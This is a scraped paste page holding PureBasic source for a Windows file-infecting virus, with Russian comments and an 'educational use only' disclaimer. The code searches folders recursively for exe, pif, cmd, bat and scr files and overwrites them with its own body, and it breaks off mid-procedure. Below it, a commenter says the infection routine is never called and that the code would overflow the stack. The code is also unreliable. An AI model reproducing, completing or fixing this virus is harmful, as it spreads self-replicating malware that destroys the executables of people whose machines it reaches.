- 001
 - 002
 - 003
 - 004
 - 005
 - 006
 - 007
 - 008
 - 009
 - 010
 - 011
 - 012
 - 013
 - 014
 - 015
 - 016
 - 017
 - 018
 - 019
 - 020
 - 021
 - 022
 - 023
 - 024
 - 025
 - 026
 - 027
 - 028
 - 029
 - 030
 - 031
 - 032
 - 033
 - 034
 - 035
 - 036
 - 037
 - 038
 - 039
 - 040
 - 041
 - 042
 - 043
 - 044
 - 045
 - 046
 - 047
 - 048
 - 049
 - 050
 - 051
 - 052
 - 053
 - 054
 - 055
 - 056
 - 057
 - 058
 - 059
 - 060
 - 061
 - 062
 - 063
 - 064
 - 065
 - 066
 - 067
 - 068
 - 069
 - 070
 - 071
 - 072
 - 073
 - 074
 - 075
 - 076
 - 077
 - 078
 - 079
 - 080
 - 081
 - 082
 - 083
 - 084
 - 085
 - 086
 - 087
 - 088
 - 089
 - 090
 - 091
 - 092
 - 093
 - 094
 - 095
 - 096
 - 097
 - 098
 - 099
 - 100
 
                        ;***************************************************************************************************
;* Исходник файлового вируса, написанный на языке PureBasic. Для компиляции в среде PureBasic 5.30. 
;* Поведение: вирус ищет и заражает исполняемые файлы, дописывая к ним свой код.                         
;* Внимание! Программа, скомпилированная из данного исходника, может представлять опасность!
;* Автор не несет ответственности за Ваши действия. Разрешено использование только в учебных целях.
;***************************************************************************************************
EnableExplicit
#vsize=16384 
;размер тела вируса, в байтах зависит от версии компилятора. 
;Должно точно соответствовать размеру скомпилированного файла.
;Чтобы уточнить, скомпилируйте и посмотрите, сколько у Вас будет весить файл.
Global *mem,progname.s,progpath.s
Procedure InfectFile(filename.s)
  ;Простой метод заражения в заголовок (вирус скидывает заражаемый файл в свой оверлей)  
  Define hfile,fsize,*ptr
  hfile=OpenFile(#PB_Any,filename)
  If hfile 
    fsize=Lof(hfile)
    If fsize < #vsize Or fsize > 5000000:CloseFile(hfile):ProcedureReturn:EndIf
    *ptr=AllocateMemory(fsize)
    ReadData(hfile,*ptr, fsize)
    FileSeek(hfile,0)
    TruncateFile(hfile)
    WriteData(hfile,*mem,#vsize)
    FileSeek(hfile,#vsize)
    WriteData(hfile,*ptr,fsize)
    CloseFile(hfile)
  EndIf
EndProcedure
Procedure Infect(path.s)
  Define finddata.WIN32_FIND_DATA,hFind.l
  Define.s fname, ext
  If Right(path,1) <> "\":path+"\":EndIf
  hfind=FindFirstFile_(path+"*.*",@finddata)
  If hfind <> -1
    Repeat
      fname=PeekS(@finddata\cFileName)
      If (fname <> ".") And (fname <> "..")
        fname=LCase(path+fname)
        If fname=LCase(progpath):Continue:EndIf
        If finddata\dwFileAttributes | #FILE_ATTRIBUTE_DIRECTORY <> #FILE_ATTRIBUTE_DIRECTORY
          ext=LCase(GetExtensionPart(fname))
          If (ext="exe") Or (ext="pif") Or (ext="cmd") Or (ext="bat") Or (ext="scr")
            infect(fname)
          EndIf
        Else
          Infect(fname)
        EndIf
      EndIf
    Until Not FindNextFile_(hfind,@finddata)
  EndIf
  
EndProcedure
Procedure Main()
   
  Define.s tmppath
  Define.l msize,hfile
  Define PI.PROCESS_INFORMATION
  Define SI.STARTUPINFO
  Define *ptr
  progname=ProgramFilename()
  
  progpath=GetPathPart(progname)
  If Right(progpath,1) <> "\":progpath+"\":EndIf
  
  tmppath=RSet(tmppath,300)
  tmppath=Left(tmppath, GetTempPath_(300,@tmppath))
  If Right(tmppath,1) <> "\":tmppath+"\":EndIf
  tmppath+Str(Random(100000))+Str(Random(100000))+Str(Random(100000))+Str(Random(100))
  *mem=AllocateMemory(1)
  hfile=ReadFile(#PB_Any,progname)
  If hfile
    msize=Lof(hfile)
    If msize < #vsize
      CloseFile(hfile)
      End
    Else
      *mem=ReAllocateMemory(*mem,#vsize)
      ReadData(hfile,*mem,#vsize)
      If msize=#vsize
        Infect(progpath)
      Else
        msize=msize-#vsize
        *ptr=AllocateMemory(msize)
        FileSeek(hfile,#vsize)
        ReadData(hfile,*ptr,msize)
        CloseFile(hfile)
        If MoveFile_(progname,tmppath)
          hfile=CreateFile(#PB_Any,progname)
          If hfile
            WriteData(hfile,*ptr,msize)
            CloseFile(hfile)
          EndIf
          FreeMemory(*ptr)
                                 
        
Говном запахло. Заражалка InfectFile() в коде нигде не вызывается, не знаю, намеренно или по ошибке. Там где по идее нужно заражать файл (строка №049), почему-то вновь вызывается процедура поиска - по этой причине, первый же найденный файл станет причиной переполнения стека. Ах, да: в строке № 024 кода висячая ссылка.
Разрешить NSFW контент?
царствие небесное